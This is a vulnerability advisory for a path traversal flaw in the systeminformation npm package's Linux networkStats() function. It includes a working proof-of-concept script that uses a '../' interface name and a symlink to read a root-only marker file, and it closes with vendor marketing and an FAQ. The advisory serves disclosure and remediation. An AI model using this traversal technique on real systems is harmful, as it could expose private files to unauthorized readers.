Summary
systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net
On Linux, [email protected] builds /sys/class/net/<iface> paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.
Details
The strict string sanitizer removes shell metacharacters but retains / and .. The Linux implementation uses this value in an fs.existsSync('/sys/class/net/' + iface) check and then in seven cat paths for interface statistics. Both operations follow .. path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.
The proof of concept below creates the expected statistics files in a directory writable by the unprivileged nobody user. Its operstate symlink points to a synthetic mode-0600 file under /root. The package call runs as root and returns the marker even though nobody cannot read that file.
PoC
Use a disposable Ubuntu Linux VM with Node.js, npm, and runuser installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:
mkdir si-netstats-repro
cd si-netstats-repro
npm init -y
npm install [email protected]
Save the following as poc.cjs in that directory, then run sudo node poc.cjs:
'use strict';
const fs = require('node:fs');
const { execFileSync } = require('node:child_process');
const si = require('systeminformation');
const root = `/tmp/si-netstats-${process.pid}`;
const secret = `/root/si-netstats-secret-${process.pid}`;
const marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;
const fixtureCode = `
const fs = require('node:fs');
const root = process.env.SI_FIXTURE_ROOT;
const secret = process.env.SI_SECRET;
fs.mkdirSync(root + '/statistics', { recursive: true });
for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {
fs.writeFileSync(root + '/statistics/' + name, '0\\n');
}
fs.symlinkSync(secret, root + '/operstate');
`;
(async () => {
try {
fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 });
fs.chmodSync(secret, 0o600);
execFileSync('runuser', [
'-u', 'nobody', '--', 'env',
`SI_FIXTURE_ROOT=${root}`,
`SI_SECRET=${secret}`,
process.execPath, '-e', fixtureCode
], { stdio: 'inherit' });
let nobodyCouldRead = true;
try {
execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });
} catch {
nobodyCouldRead = false;
}
if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');
const iface = '../'.repeat(24) + root.slice(1);
const rows = await si.networkStats(iface);
const returned = String(rows[0]?.operstate ?? '').trim();
const success = returned === marker;
console.log(JSON.stringify({
nobodyCouldRead,
libraryReturnedRootOnlyMarker: success,
returnedOperstate: returned
}, null, 2));
if (!success) process.exitCode = 1;
} finally {
fs.rmSync(root, { recursive: true, force: true });
fs.rmSync(secret, { force: true });
}
})().catch((error) => {
console.error(error);
process.exitCode = 1;
});
Expected result:
{
"nobodyCouldRead": false,
"libraryReturnedRootOnlyMarker": true,
"returnedOperstate": "SYNTHETIC_ROOT_ONLY_MARKER_<pid>"
}
Impact
The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-116673 has a CVSS score of 3.3 (Low). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.33.14); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-116673? CVE-2026-116673 is a low-severity path traversal vulnerability in systeminformation (npm), affecting versions < 5.33.14. It is fixed in 5.33.14. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-116673? CVE-2026-116673 has a CVSS score of 3.3 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of systeminformation are affected by CVE-2026-116673? systeminformation (npm) versions < 5.33.14 is affected.
- Is there a fix for CVE-2026-116673? Yes. CVE-2026-116673 is fixed in 5.33.14. Upgrade to this version or later.
- Is CVE-2026-116673 exploitable, and should I be worried? Whether CVE-2026-116673 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-116673 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-116673? Upgrade
systeminformationto 5.33.14 or later.